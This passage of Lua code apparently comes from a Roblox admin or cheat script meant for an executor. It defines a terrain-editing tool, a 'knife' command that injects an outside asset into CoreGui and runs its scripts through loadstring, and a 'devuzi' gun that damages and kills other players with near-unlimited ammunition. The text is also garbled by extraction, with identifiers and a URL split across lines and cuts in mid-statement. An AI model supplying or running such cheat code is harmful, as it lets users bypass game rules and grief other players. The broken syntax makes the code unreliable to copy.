ImageButton29.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton29.Position = UDim2.new(0.524545431, 0, 0.464040399, 0)
ImageButton29.BackgroundTransparency = 1
ImageButton29.ZIndex = 4
ImageButton29.Image = "http://www.roblox.com/asset/?id=67532051"
Frame30.Name = "Selection"
Frame30.Parent = ImageButton29
Frame30.Transparency = 1
Frame30.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame30.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame30.BackgroundColor3 = Color3.new(1, 1, 1)
Frame30.BackgroundTransparency = 1
Frame30.BorderSizePixel = 0
Frame30.ZIndex = 3
NumberValue31.Name = "num"
NumberValue31.Parent = ImageButton29
NumberValue31.Value = 10
ImageButton32.Name = "Gravel"
ImageButton32.Parent = ImageLabel1
ImageButton32.Transparency = 1
ImageButton32.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton32.Position = UDim2.new(0.0700000003, 0, 0.565050483, 0)
ImageButton32.BackgroundTransparency = 1
ImageButton32.ZIndex = 4
ImageButton32.Image = "http://www.roblox.com/asset/?id=67532206"
Frame33.Name = "Selection"
Frame33.Parent = ImageButton32
Frame33.Transparency = 1
Frame33.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame33.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame33.BackgroundColor3 = Color3.new(1, 1, 1)
Frame33.BackgroundTransparency = 1
Frame33.BorderSizePixel = 0
Frame33.ZIndex = 3
NumberValue34.Name = "num"
NumberValue34.Parent = ImageButton32
NumberValue34.Value = 11
ImageButton35.Name = "Cinder"
ImageButton35.Parent = ImageLabel1
ImageButton35.Transparency = 1
ImageButton35.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton35.Position = UDim2.new(0.524545431, 0, 0.565050483, 0)
ImageButton35.BackgroundTransparency = 1
ImageButton35.ZIndex = 4
ImageButton35.Image = "http://www.roblox.com/asset/?id=67532103"
Frame36.Name = "Selection"
Frame36.Parent = ImageButton35
Frame36.Transparency = 1
Frame36.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame36.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame36.BackgroundColor3 = Color3.new(1, 1, 1)
Frame36.BackgroundTransparency = 1
Frame36.BorderSizePixel = 0
Frame36.ZIndex = 3
NumberValue37.Name = "num"
NumberValue37.Parent = ImageButton35
NumberValue37.Value = 12
ImageButton38.Name = "Stone"
ImageButton38.Parent = ImageLabel1
ImageButton38.Transparency = 1
ImageButton38.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton38.Position = UDim2.new(0.0700000003, 0, 0.666060627, 0)
ImageButton38.BackgroundTransparency = 1
ImageButton38.ZIndex = 4
ImageButton38.Image = "http://www.roblox.com/asset/?id=67531804"
Frame39.Name = "Selection"
Frame39.Parent = ImageButton38
Frame39.Transparency = 1
Frame39.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame39.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame39.BackgroundColor3 = Color3.new(1, 1, 1)
Frame39.BackgroundTransparency = 1
Frame39.BorderSizePixel = 0
Frame39.ZIndex = 3
NumberValue40.Name = "num"
NumberValue40.Parent = ImageButton38
NumberValue40.Value = 13
ImageButton41.Name = "Cement"
ImageButton41.Parent = ImageLabel1
ImageButton41.Transparency = 1
ImageButton41.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton41.Position = UDim2.new(0.524545431, 0, 0.666060627, 0)
ImageButton41.BackgroundTransparency = 1
ImageButton41.ZIndex = 4
ImageButton41.Image = "http://www.roblox.com/asset/?id=67532059"
Frame42.Name = "Selection"
Frame42.Parent = ImageButton41
Frame42.Transparency = 1
Frame42.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame42.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame42.BackgroundColor3 = Color3.new(1, 1, 1)
Frame42.BackgroundTransparency = 1
Frame42.BorderSizePixel = 0
Frame42.ZIndex = 3
NumberValue43.Name = "num"
NumberValue43.Parent = ImageButton41
NumberValue43.Value = 14
ImageButton44.Name = "Red Plastic"
ImageButton44.Parent = ImageLabel1
ImageButton44.Transparency = 1
ImageButton44.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton44.Position = UDim2.new(0.0700000003, 0, 0.767070711, 0)
ImageButton44.BackgroundTransparency = 1
ImageButton44.ZIndex = 4
ImageButton44.Image = "http://www.roblox.com/asset/?id=67531848"
Frame45.Name = "Selection"
Frame45.Parent = ImageButton44
Frame45.Transparency = 1
Frame45.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame45.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame45.BackgroundColor3 = Color3.new(1, 1, 1)
Frame45.BackgroundTransparency = 1
Frame45.BorderSizePixel = 0
Frame45.ZIndex = 3
NumberValue46.Name = "num"
NumberValue46.Parent = ImageButton44
NumberValue46.Value = 15
ImageButton47.Name = "Blue Plastic"
ImageButton47.Parent = ImageLabel1
ImageButton47.Transparency = 1
ImageButton47.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton47.Position = UDim2.new(0.524545431, 0, 0.767070711, 0)
ImageButton47.BackgroundTransparency = 1
ImageButton47.ZIndex = 4
ImageButton47.Image = "http://www.roblox.com/asset/?id=67531924"
Frame48.Name = "Selection"
Frame48.Parent = ImageButton47
Frame48.Transparency = 1
Frame48.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame48.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame48.BackgroundColor3 = Color3.new(1, 1, 1)
Frame48.BackgroundTransparency = 1
Frame48.BorderSizePixel = 0
Frame48.ZIndex = 3
NumberValue49.Name = "num"
NumberValue49.Parent = ImageButton47
NumberValue49.Value = 16
ImageButton50.Name = "Water"
ImageButton50.Parent = ImageLabel1
ImageButton50.Transparency = 1
ImageButton50.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton50.Position = UDim2.new(0.0700000003, 0, 0.867999971, 0)
ImageButton50.BackgroundTransparency = 1
ImageButton50.ZIndex = 4
ImageButton50.Image = "https://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?
fmt=png&wd=75&ht=75&aid=82717697"
Frame51.Name = "Selection"
Frame51.Parent = ImageButton50
Frame51.Transparency = 1
Frame51.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame51.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame51.BackgroundColor3 = Color3.new(1, 1, 1)
Frame51.BackgroundTransparency = 1
Frame51.BorderSizePixel = 0
Frame51.ZIndex = 3
NumberValue52.Name = "num"
NumberValue52.Parent = ImageButton50
NumberValue52.Value = 17
ImageButton53.Name = "Dig"
ImageButton53.Parent = ImageLabel1
ImageButton53.Transparency = 1
ImageButton53.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton53.Position = UDim2.new(0.524999976, 0, 0.867999971, 0)
ImageButton53.BackgroundTransparency = 1
ImageButton53.ZIndex = 4
ImageButton53.Image = "http://www.roblox.com/asset/?id=7814201"
Frame54.Name = "Selection"
Frame54.Parent = ImageButton53
Frame54.Transparency = 1
Frame54.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame54.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame54.BackgroundColor3 = Color3.new(1, 1, 1)
Frame54.BackgroundTransparency = 1
Frame54.BorderSizePixel = 0
Frame54.ZIndex = 3
for i,v in pairs(mas:GetChildren()) do
v.Parent = gPlayers.LocalPlayer.PlayerGui
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
wait(0.01)
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false
material = 1
local Terrain = workspace.Terrain
local CC = workspace.CurrentCamera

local SelB = Instance.new("SelectionBox")


SelB.Color = BrickColor.new("Bright green")

local SelP = Instance.new("Part")


SelP.Anchored = true
SelP.formFactor = Enum.FormFactor.Custom
HopperBin0.Selected:connect(function(M)
SelB.Parent = gPlayers.LocalPlayer.PlayerGui
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = true
SelB.Adornee = nil

local ClickState = "None"

local ClickType = 1

local TerrainClick = 1

local P1 = nil

M.KeyDown:connect(function(K)
if K == "q" then
ClickType = 1
elseif K == "e" then
ClickType = 2
elseif K == "z" then
TerrainClick = 0
elseif K == "x" then
TerrainClick = 1
elseif K == "c" then
TerrainClick = 2
elseif K == "v" then
TerrainClick = 3
elseif K == "b" then
TerrainClick = 4
end
end)

M.Button1Down:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "None" then
ClickState = "Click1"
P1 = cellPos
end
end)
M.Button1Up:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "Click1" then
ClickState = "None"
local MinX = math.min(P1.x,cellPos.x)
local MaxX = math.max(P1.x,cellPos.x)
local MinY = math.min(P1.y,cellPos.y)
local MaxY = math.max(P1.y,cellPos.y)
local MinZ = math.min(P1.z,cellPos.z)
local MaxZ = math.max(P1.z,cellPos.z)
for y=MinY,MaxY do
for x=MinX,MaxX do
for z=MinZ,MaxZ do
Terrain:SetCell(x, y, z, material, 0, 0)
end
end
wait()
end
SelB.Adornee = nil
end
end)
M.Move:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "Click1" then
SelB.Adornee = SelP
local W1 = Terrain:CellCenterToWorld(P1.x,P1.y,P1.z)
local W2 =
Terrain:CellCenterToWorld(cellPos.x,cellPos.y,cellPos.z)
local Size = W1-W2
Size =
Vector3.new(math.abs(Size.x),math.abs(Size.y),math.abs(Size.z))+Vector3.new(4,4,4)
local Pos = (W1+W2)/2
SelP.Size = Size
SelP.CFrame = CFrame.new(Pos)
end
end)
end)

HopperBin0.Deselected:connect(function()
SelB.Parent = nil
SelB.Adornee = nil
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false
end)

game:GetService('RunService').Stepped:connect(function()
if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("MaterialGui") then
for _, child in
pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do
if child:FindFirstChild("num") and material ~= child.num.Value then
child.Selection.BackgroundTransparency = 1
end
end
end
end)

for _, child in
pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do
local enterCon = child.MouseButton1Click:connect(function()
if child.ClassName == "ImageButton" and child:FindFirstChild("num") then
material = child.num.Value
if child:FindFirstChild("Selection") then
child.Selection.BackgroundTransparency = 0
end
end
end)
end

local clr =
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Dig.MouseButton1Click:conne
ct(function()
workspace.Terrain:Clear()
end)

function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
HopperBin0 = Instance.new("HopperBin")
HopperBin0.Name = "Terrain Delete"
HopperBin0.Parent = mas
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end

function onClick(mouse)
p = gPlayers.LocalPlayer
if (p == nil) then return end
if (p.Character == nil) then return end

if (mouse.Hit.p - p.Character.HumanoidRootPart.Position).magnitude >


500 then return end
c = workspace.Terrain

local cellPos = c:WorldToCellPreferSolid(Vector3.new(mouse.Hit.x,


mouse.Hit.y, mouse.Hit.z))
local x = cellPos.x
local y = cellPos.y
local z = cellPos.z

c:SetCell(x, y, z, 0, 0, 0)

end

function onSelect(mouse)
mouse.Button1Down:connect(function () onClick(mouse) end)
end

HopperBin0.Selected:connect(onSelect)
end
end)

addcmd('knife', 'tm knife',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if not game.CoreGui:FindFirstChild('CorePart') then
local data =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01318477872")
local script = data.LocalScript

local player = gPlayers.LocalPlayer

if not player:FindFirstChild("TMDATA") then


script.Parent.TMDATA:Clone().Parent = player
end
if not game.ReplicatedStorage:FindFirstChild("GameInProgress") then
script.Parent.GameInProgress:Clone().Parent = game.ReplicatedStorage
end

if game.CoreGui:FindFirstChild("CorePart") then
game.CoreGui.CorePart:Destroy()
end

if not game.ReplicatedStorage:FindFirstChild('Drone') then


script.Parent.Drone:Clone().Parent = game.ReplicatedStorage end
local knife = script.Parent["Knife"]:Clone()
local gun = script.Parent["Gun"]:Clone()
local fastgun = script.Parent["Fast Gun"]:Clone()
local lasergun = script.Parent["Laser Gun"]:Clone()
script.Parent.CorePart:Clone().Parent = game.CoreGui

local newKnife = knife:Clone()


newKnife.Parent = player.Backpack
_G.tool = newKnife

local barActive = false


local activeOptions = {}

function createDDown(callback,but,...)
if barActive then
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
return
else
barActive = true
end
local slots = {...}
local base = but
for i,v in pairs(slots) do
local newOption = base:Clone()
newOption.ZIndex = 5
newOption.Name = "Option "..tostring(i)
newOption.Parent = base.Parent
table.insert(activeOptions,newOption)
newOption.Position = UDim2.new(but.Position.X.Scale,
but.Position.X.Offset, but.Position.Y.Scale, but.Position.Y.Offset +
(#activeOptions * but.Size.Y.Offset))
newOption.Text = slots[i]
newOption.MouseButton1Down:connect(function()
but.Text = slots[i]
callback(slots[i])
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
end)
end
end

local butA = game.CoreGui.CorePart.Frame.ability


butA.MouseButton1Down:connect(function()
createDDown(function(sel)
gPlayers.LocalPlayer.TMDATA.Ability.Value = sel -- Rushed scripting,
sorry for not being neat!
end,butA,"Normal","Laser Knife","Boom Blade","MLG Money","Midas Touch","HOT!
Knife","Ghost Knife","Tesla Knife","Quickscoper","Rainbow Laser","Spider
Knife","Warp Knife","Brainwasher", "Bolting Knife")
end)

local butG = game.CoreGui.CorePart.Frame.gamemode


butG.MouseButton1Down:connect(function()
createDDown(function(sel)
game.ReplicatedStorage.GameInProgress.Mode.Value = sel
end,butG,"Classic","Cold Killer")
end)

local butM = game.CoreGui.CorePart.Frame.mode


butM.MouseButton1Down:connect(function()
createDDown(function(sel)
_G.knifemode = sel
end,butM,"PlayersOnly","Players+Npcs")
end)

_G.Scripters = {}

function _G.loadScripts(obj,runall)
for i,v in pairs(obj:GetDescendants()) do
if v:IsA("LocalScript") and (not v.Disabled or runall) then
table.insert(_G.Scripters,v)
local i = #_G.Scripters
local loadfunc = loadstring("local script =
_G.Scripters["..i.."]\n"..v.Source)
spawn(loadfunc)
print("LOADED",v:GetFullName())
end
end
end

player.CharacterAdded:Connect(function()
newKnife = knife:Clone()
newKnife.Parent = player.Backpack
_G.loadScripts(newKnife)
end)

_G.knifemode = "PlayersOnly"
_G.loadScripts(newKnife)
--_G.loadScripts(gun)
--_G.loadScripts(fastgun)
--_G.loadScripts(lasergun)
end
end
end)

addcmd('devuzi', 'op af',{'uzi'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
wait(0.25);

_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;
_valid_key=function(object,key)
return object[key],key;
end;

_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;

local object=class;

if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;

local parent=props[1];
props[1]=nil;

for i,v in next,props do


local
load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
if(not load)then
load,res,key=pcall(_valid_key,object,i);
end;

if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;

if(parent)then
object.Parent=parent;
end;

return object;
end;
end;

_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;
_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;

_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;

_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;

_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;

_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));

return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or
workspace.FindPartOnRay)(workspace,ray,i);
end;

_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;

_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;
_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;

_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;

--local light=_new'part'{
-- cFrame=CFrame.new(v0,v1);
-- size=Vector3.new(1,1,1);
-- color=_RGB(255,255,0);
-- anchored=true;
-- inv;
--};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};

local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};

-- _rem(light,0.15);
end;

_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;

_blood=function(pos,count)
for i=1,count do
local p=_new'part'{

rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;

position=pos+Vector3.new(math.random(),math.random(),math.random());

velocity=Vector3.new(math.random(),math.random(),math.random())*50;

size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;

_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;

_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;

if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;

h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;

h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);

lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);

_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-
4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);

delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;

local hit,pos=_must(v0,v1,char);

shot_sound:play();

_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=_RGB(255,255,0);
transparency=0.6;

reflectance=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},.15);
_light(v0,v1);

if(not hit)then return nil;end;

if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);

hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
hit:breakJoints();
hit.CanCollide=true;
end;
else
_hum_dam(hum,math.random(4,6));
_blood(pos,math.random(3,6));

hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then
hum.Health=0;
_blood(pos,math.random(3,6));
delay(0.001,function()

_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{

velocity=CFrame.new(v0,pos).lookVector*20;

cFrame=hit.CFrame*CFrame.new(i,-b,a);

size=Vector3.new(0.5,0.5,0.5);

color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;

_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;

local arm=char:findFirstChild'Right Arm';


local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
h_weld.Part0=arm;
h_weld.C1=h_weld_cf_active;

weld.Part1=nil;
weld.Part0=nil;

weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};

arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;

val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;

gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));

wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;

_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;

h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;

local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;

_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;
do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;

bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};

list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};

user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);

url='rbxassetid://%d';
name='dev-uzi';

h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);

assert(hum,'humanoid is not found');

_clear();
_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);

_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);

_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);

_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);

screen=_new'screenGui'{
name=name;
};

cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};

for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;

for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;

shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;

bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};

inv=_new'model'{
name=name;
char;
};

handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();

h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};

drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};

tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
